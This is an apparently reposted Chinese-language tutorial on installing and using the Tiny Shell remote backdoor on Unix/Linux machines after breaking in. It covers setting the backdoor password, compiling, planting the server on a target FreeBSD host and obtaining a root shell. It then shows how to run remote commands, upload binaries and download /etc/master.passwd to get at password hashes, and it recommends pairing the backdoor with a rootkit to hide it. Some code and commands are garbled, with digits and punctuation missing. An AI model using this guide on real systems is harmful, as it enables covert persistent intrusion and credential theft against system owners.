Tiny Shell是一款輕量級的標准遠程Shell工具可以提供遠程執行命令(包括RloginTelnetSsh等)和文件傳輸功能(上傳下載)支持單字節完全支持pseudoTerminal Pairs(pty/tty)等偽終端
一前言
隨著互聯網的發展使用Unix/Linux系統的越來越多而入侵一台Unix/Linux系統也不再是什麼難事了通常在入侵成功之後都會留一個或幾個後門以便再次進入;對於Unix/Linux系統後門的種類比較多初級的有修改“rhosts”文件復制一個Shell到一個隱藏目錄修改etc/passwd文件加用戶等手段較高級的莫屬使用內核模塊後門(Rootkit)了它是Unix/Linux系統下最高級別的後門也許最具有隱蔽性的但今天我並不說Rootkit因為它的使用過於復雜對沒有Unix/Linux系統使用經驗的人來說更是難以駕御而 Tiny Shell作為一款運行於Unix/Linux系統下的輕量級Shell工具不僅小巧還支持另外一些不錯的功能具體請看下文
二應用
Tiny Shell簡介 Tiny Shell是一款輕量級的標准遠程Shell工具可以提供遠程執行命令(包括RloginTelnetSsh等)和文件傳輸功能(上傳下載)支持單字節完全支持pseudoTerminal Pairs(pty/tty)等偽終端並使用強大的bit RC加密以躲避嗅探器的檢測具備AES + HMACSHA的強大加密和認證支持FreeBSDNetBSD OpenBSDSolarisSunOSHPUXIRIXCygwinLinux等系統
Tiny Shell應用 測試環境 本地OpenBSD IP 目標FreeBSD STABLE IP 首先下載Tiny Shell解壓縮後修改源代碼以求該工具更能符合我們的要求 #fetch #tar zxvf tshtgz #cd tsh #ls ChangeLog README aesh pelh shah tshh Makefile aesc pelc shac tshc tshdc #vi tshh char *secret = "replace with your passWord"; //連接後門的密碼我修改為dahubaobao這個後門的主程序是tshc先看看下邊的源代碼 if( passWord == NULL ) { /* st try using the builtin secret key */ ret = pel_client_init( server secret ); if( ret != PEL_SUCCESS ) { close( server ); /* secret key invalid so ask for a passWord */ password = getpass( "Password: " ); goto connect; } } //重點在這裡ret = pel_client_init( server secret ); 把secret變量作為了參數也就是連接後門所需要的密碼現在知道為什麼修改tshh了吧 #define SERVER_PORT //後門簡聽的端口任意修改 if( argc == && ! strcmp( argv[] "get" ) ) { action = GET_FILE; } if( argc == && ! strcmp( argv[] "put" ) ) { action = PUT_FILE; } //該後門並沒有幫助信息所以查看這裡得知Get為下載Put為上傳當然如果你喜歡可以自行修改另外如果你想該後門輸出幫助信息可以自己添加一個Printf語句來輸出幫助信息這裡給出一個最簡單的方法我們在不加參數的情況下執行/tsh的時候會提示gethostbyname failed然後查看源代碼找到fprintf( stderr "gethostbyname failedn" );這句代碼聰明的你也許想到了就是修改gethostbyname failed為你想要的幫助信息這樣在執行/tsh的時候就會自動輸出幫助信息了呵呵也算一種變相修改吧下面開始編譯源代碼 #make Please specify one of these targets: make linux make freebsd make openbsd make netbsd make cygwin make sunos make irix make hpux make osf #make openbsd //根據你的系統做相應的選擇秒鐘就編譯好了(如圖) 然後會在當前目錄下生成兩個可執行文件一個客戶端一個服務端分別為tshtshd現在將tshd復制到目標系統(FreeBSD)然後執行/tshd完成安裝為了更清楚的表示我使用的環境所以回到本地執行id命令得知該用戶的UID=是普通用戶;現在使用/tsh 來接連目標主機(為了測試方便我就不加密碼了)好現在我們獲得了一個Root權限的Shell再使用id命令(注意這是在目標主機上)可以看到UID=了這可是Root權限哦!執行uname –a命令回顯為FreeBSD系統可見已經成功連接後門並登陸了(如圖)另外該後門還可以在連接的時候插入Shell命令語法為/tsh “command”比如/tsh “cat etc/passwd”這條命令的意思是連接目標主機接著執行cat etc/passwd命令這樣目標主機的passwd文件我們就一覽無余了(如圖)但要注意使用這種形式並沒有登陸目標主機只是連接目標主機然後插入一個Shell命令而已 現在我們來看看上傳下載的使用方法從源代碼中知道上傳的關鍵字為Put下載的關鍵字為Get好先來看看如何上傳文件執行“/tsh put 文件名 目標主機目錄”即可完成上傳但要注意文件要在當前目錄下也就是和tsh在同一個目錄下我上傳的一個back的二進制文件使用/tsh put back /這條命令是將back文件上傳目標根目錄然後我再使用/tsh 連接到目標主機ls查看back是否已經上傳到了對方主機(如圖)呵呵還不錯吧!在來看下載文件它的語法為 “/tsh get 目標文件 本地目錄”現在我們來獲得其最敏感的文件masterpasswd(影子文件也就是Linux系統下的shadow文件)執行/tsh get etc/masterpasswd /home/dahubaobao意思為下載目標主機的masterpasswd文件到本地的/home/dahubaobao目錄然後使用ls查看可以看見已經將對方的masterpasswd下載到了本地(如圖)再vi masterpasswd(如圖)哈哈用戶的加密密碼近在眼前提示FreeBSD的用戶密碼是采用MD加密的
小結
Tiny Shell作為一款小型的Shell工具絲毫不遜於其他同類的Shell工具而且支持大部分的Unix/Linux系統絕對值得一試當然這款後門很不隱蔽我們可以結合Rootkit來加固(Rootkit中也提供Shell工具但無法和Tiny Shell相比不信你可以自己試試)Rootkit的使用可以去google找答案在此就不多說了
From:http://tw.wingwit.com/Article/Common/201311/6564.html